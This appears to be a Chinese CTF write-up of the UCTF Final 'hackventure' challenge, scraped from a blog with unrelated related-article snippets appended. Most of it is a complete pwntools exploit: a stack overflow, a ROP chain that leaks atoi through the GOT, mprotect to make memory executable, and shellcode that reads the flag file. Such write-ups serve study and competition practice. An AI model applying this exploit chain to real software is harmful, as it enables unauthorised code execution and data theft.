UCTF Final-Hackventure

  抽出世间将UCTF Final中的hackventure给记录下,算是个总结。题目是有一个游戏,游戏地图是随机生成的,用户可以攻打Server,如果3个Server都被攻占的话,那么用户就赢了,但是并没有Flag。

  题目以及IDB见:http://files.cnblogs.com/files/wangaohui/hackventure-blog.zip

  题目是一个C++的题目,结构体也不少,把结构体都建立后,逆起来轻松不少。把题目逆了一遍后,首先发现的是个整数溢出,然而并不知道怎么利用。其次发现的还有对空指针进行解引用造成的崩溃,以及free后全局变量区指针并没有清零等。但是这些都不知道怎么利用。后来发现一个栈溢出,而且溢出的空间很大,完全可以来做ROP,在程序本身的_libc_csu_init里有好用的通用Gadget。

  漏洞位置:

EXP:

import sys
from pwn import *
#context.log_level=‘debug‘
#by wah

exe = ‘hackventure‘
ip = ‘127.0.0.1‘
port = 10001
#ip = ‘10.250.100.12‘
#port = 6666

me = [0,0]
home = [0,0]
store = [0,0]
server = [[0,0],[0,0],[0,0]] 

#100 10.10.10.1
#200 10.1.11.1
server100 = [0,0]
server200 = [0,0]
server300 = [0,0]

def getpid():
    time.sleep(0.1)
    pid= pwnlib.util.proc.pidof(exe)
    print pid
    raw_input(‘go!‘)
def walk(f,t):
    if f==t:
        return
    global r
    x= t[0]-f[0]
    y = t[1]-f[1]
    #print f,t
    #print x,y
    if x<0:
        for i in range(-x):
            r.sendline(‘go up‘)
    elif x>0:
        for i in range(x):
            r.sendline(‘go down‘)
    else:
        pass
    if y<0:
        for i in range(-y):
            r.sendline(‘go left‘)
    elif y>0:
        for i in range(y):
            r.sendline(‘go right‘)
    else:
        pass

def getinfo():
    global r,me,home,store,server,server100,server200,server300
    r.recvuntil(‘+--------------------------------+\n‘)
    matrix = r.recvuntil(‘\n+--------------------------------+\n‘)
    print matrix
    #print binascii.hexlify(matrix)
    sr = []
    for i in range(len(matrix)):
        if matrix[i] == ‘T‘:
            s = i
        elif matrix[i] == ‘S‘:
            sr.append(i)
        elif matrix[i] == ‘H‘:
            h = i
        elif matrix[i] == ‘*‘:
            m = i
        else:
            pass
    me[1] = m%35
    me[0] = m/35+1

    home[1] = h%35
    home[0] = h/35+1

    store[1] = s%35
    store[0] = s/35+1

    server[0][1] = sr[0]%35
    server[0][0] = sr[0]/35+1

    server[1][1] = sr[1]%35
    server[1][0] = sr[1]/35+1

    server[2][1] = sr[2]%35
    server[2][0] = sr[2]/35+1

    walk(me,server[0])
    me = server[0]
    r.sendline(‘explore‘)
    r.recvuntil(‘IP: ‘)
    ip = r.recvuntil(‘\n‘).strip()
    #print ip
    r.recvuntil(‘HP: ‘)
    hp = r.recvuntil(‘\n‘).strip()
    if ip == ‘10.10.10.1‘:
        server100 = server[0]
    elif ip == ‘10.1.11.1‘:
        server200 = server[0]
    else:
        server300 = server[0]
    data = r.recvuntil(‘$ ‘)

    walk(me,server[1])
    me = server[1]
    r.sendline(‘explore‘)
    r.recvuntil(‘IP: ‘)
    ip = r.recvuntil(‘\n‘).strip()
    #print ip
    r.recvuntil(‘HP: ‘)
    hp = r.recvuntil(‘\n‘).strip()
    if ip == ‘10.10.10.1‘:
        server100 = server[1]
    elif ip == ‘10.1.11.1‘:
        server200 = server[1]
    else:
        server300 = server[1]
    data = r.recvuntil(‘$ ‘)

    walk(me,server[2])
    me = server[2]
    r.sendline(‘explore‘)
    r.recvuntil(‘IP: ‘)
    ip = r.recvuntil(‘\n‘).strip()
    #print ip
    r.recvuntil(‘HP: ‘)
    hp = r.recvuntil(‘\n‘).strip()
    if ip == ‘10.10.10.1‘:
        server100 = server[2]
    elif ip == ‘10.1.11.1‘:
        server200 = server[2]
    else:
        server300 = server[2]
    data = r.recvuntil(‘$ ‘)
    #print server100,server200,server300
def local_attack():
    r.sendline(‘local_attack‘)
def remote_attack(ip):
    r.sendline(‘remote_attack ‘ + ip)
def remote_attacks(ips):
    r.sendline(‘remote_attacks ‘ + ips)

r = remote(ip,port)
r.sendline(‘map‘)
getinfo()

walk(me,server100)
me=server100

local_attack()
local_attack()
r.recvuntil(‘You have compromised server 10.10.10.1, good job!\n‘)
r.sendline(‘5‘)
r.recvuntil(‘Name? ‘)
r.sendline(‘wah‘)
#remote_attack(‘10.1.11.1‘)

r.sendline(‘status‘)
r.recvuntil(‘*** Hacker\‘s Profile ***‘)
r.recvuntil(‘$ ‘)

walk(me,home)
me=home

r.sendline(‘goodnight‘)
walk(me,server100)
me=server100
getpid()

sc = ‘‘‘call a;
a:pop rcx;
add rcx,35
push rcx
ret
.string "/home/flag/hackventure/flag";
lea rdi,[rcx-28];
mov rax,2;
mov rsi,0;
syscall;
mov rdi,rax;
xor rax,rax;
mov rsi,0x605200;
mov rdx,16;
syscall;
mov rdi,1;
mov rsi,0x605200;
mov rdx,16;
mov rax,1;
syscall;
mov rax,60;
xor rdi,rdi;
syscall;‘‘‘
shellcode=asm(sc,arch=‘amd64‘,os=‘linux‘)

fakeebp = 0xaaaaaaaaaaaaaaaa
pop_rdi_ret = 0x4029F3
pop_rsi_r15_ret = 0x4029F1
atoi_got = 0x604098
puts_plt = 0x400840
call_getstring = 0x4014BC
#buf_to_store_mprotect = 0x604600
buf_to_store_mprotect_gets = 0x6040A0
buflen = 18
rubbish = 0xaaaaaaaa
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4029EA
call_mprotect = 0x4029D0
memo_to_exec = 0x604000
memo_len = 0x3000
memo_prot = 0x7
shellcode_addr = 0x605000
shellcode_len = 0x1000
plt_jmp_gets = 0x400940

rop = ‘‘
rop += p64(pop_rdi_ret)
rop += p64(atoi_got)
rop += p64(puts_plt)

rop += p64(pop_rdi_ret)
rop += p64(buf_to_store_mprotect_gets)
rop += p64(pop_rsi_r15_ret)
rop += p64(buflen)
rop += p64(rubbish)
rop += p64(call_getstring)
rop += ‘a‘*0x68

rop += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
rop += p64(0)
rop += p64(1)
rop += p64(buf_to_store_mprotect_gets)
rop += p64(memo_prot)
rop += p64(memo_len)
rop += p64(memo_to_exec)
rop += p64(call_mprotect)

rop += p64(rubbish)
rop += p64(0)#rbx
rop += p64(0)#rbp
rop += p64(0)#r12
rop += p64(0)#r13
rop += p64(0)#r14
rop += p64(0)#r15
rop += p64(pop_rdi_ret)
rop += p64(shellcode_addr)
rop += p64(plt_jmp_gets)
rop += p64(shellcode_addr)

fuck1 = p64(fakeebp) + rop
remote_attacks(‘1,2,3,4,‘+fuck1)
walk(me,server300)
local_attack()
local_attack()
local_attack()
local_attack()
local_attack()
r.recvuntil(‘Game Over!\n‘)
data = r.recvuntil(‘\n‘)[:-1]
atoi = u64(data + (8-len(data))*‘\x00‘)
log.info("Leaked atoi: "+hex(atoi))

mprotect = atoi+0xbaa30
gets = atoi +0x354d0
data = p64(mprotect) + p64(gets)
#overwrite got to mprotect and gets
r.sendline(data)
#write shellcode
r.sendline(shellcode)
r.recvuntil(‘Please own this server first.\n‘)
flag = r.recv(16)
print flag
r.close()

时间: 2024-11-08 16:20:06

UCTF Final-Hackventure的相关文章

final

在JAVA中,继承提高的代码的复用性,但是随之而来的,也产生一个弊端,即打破了"封装性",比如父类可以被子类复写,代码的安全性降低了. 在实际工作中,为了提高安全性,避免有的数据被继承复写或修改,这就要用到final进行修饰. final,其字面意思含义是"最终",表示已到终点,不能被改变.继承 1.可以修饰类.函数.变量 2.被final修饰的类(可以称为最终类),不可以被继承,被复写. 3.被final修饰的函数,不可以被复写. 4.被final修饰的变量是一个

R:incomplete final line found by readTableHeader on

报错: In read.table("abc.txt", header = T) :  incomplete final line found by readTableHeader on 'abc.txt' 解决方法: 在数据文件abc.txt最后一行加上回车即可解决.

final使用

final修饰  基本数据类型时候   对应的 数据不能改变:::final修饰 对象类型 ,那么对应的引用地址不能改变(对象中的值可以改变): 如果final修改方法,那么该方法不能被子类重写 ::::  如果修饰类,那么该类就是最终类,不能被继承. 如果final 修改对象中 成员变量,那么这个变量不能被set(不能再级再进行赋值操作)

PHP 面向对象中常见关键字使用(final、static、const和instanceof)

PHP 面向对象中常见关键字的使用: 00x1.Final :final关键字可以加在类或者类中方法之前,但是不能使用final标识成员属性. 作用: 使用final标识的类,不能被继承. 在类中使用final标识的成员方法,在子类中不能覆盖. 总结:final表示为最终的意思,所以使用final关键字的类或者类中的成员方法是不能被更改的. 00x2.Static :static关键字将类中的成员属性或者成员方法标识为静态的,static标识的成员属性属于整个类,static成员总是唯一存在的,

JAVA之旅(七)——final关键字 , 抽象类abstract,模板方法模式,接口interface,implements,特点,扩展

JAVA之旅(七)--final关键字 , 抽象类abstract,模板方法模式,接口interface,implements,特点,扩展 OK,我们继续学习JAVA,美滋滋的 一.final 我们来聊聊final这个关键字 final可以修饰类,方法和变量 final修饰的类不可以被继承 final修饰的方法不可以被覆盖 final修饰的变量是一个常量,只能被赋值一次 内部类只能访问被final修饰的局部变量 final,故名思意,就是最终的意思,由以上的五种特性,不过final的出现,也是有

浅析Java中的final关键字

原文出处: 海子 谈到final关键字,想必很多人都不陌生,在使用匿名内部类的时候可能会经常用到final关键字.另外,Java中的String类就是一个final类,那么今天我们就来了解final这个关键字的用法.下面是本文的目录大纲: 一.final关键字的基本用法 二.深入理解final关键字 若有不正之处,请多多谅解并欢迎指正. 一.final关键字的基本用法 在Java中,final关键字可以用来修饰类.方法和变量(包括成员变量和局部变量).下面就从这三个方面来了解一下final关键字

[转][C++ 11]override and final - write clean and maintainable C++ code

原文: http://arne-mertz.de/2015/12/modern-c-features-override-and-final/ Today I write about a pair of less often discussed, less complicated features introduced in C++11, which are nevertheless useful. Both can provide some additional security and cla

【Java基础】final关键字总结

Java中的final关键字非常重要,它可以应用于类.方法以及变量.这篇文章中我将带你看看什么是final关键字?将变量,方法和类声明为final代表了什么?使用final的好处是什么?最后也有一些使用final关键字的实例.final经常和static一起使用来声明常量,你也会看到final是如何改善应用性能的. final关键字的含义? final在Java中是一个保留的关键字,可以声明成员变量.方法.类以及本地变量.一旦你将引用声明作final,你将不能改变这个引用了,编译器会检查代码,如

浅析final finally finalize

1.final final修饰类,说明这个类不能被继承,是个顶级类. final修饰变量,说明这个变量是常量,初始化后不能再改. fianl修饰方法,表示这个方法不能被重写,不过可以重载final修饰的方法.(常见的final方法是object类中的wait(),notify()方法) 2.finally finally是关键字,在异常处理中,try字句中执行需要运行的内容,catch字句中用于捕获异常,finally字句表示不管是否发生异常,都会执行.finally可有可无.但是try....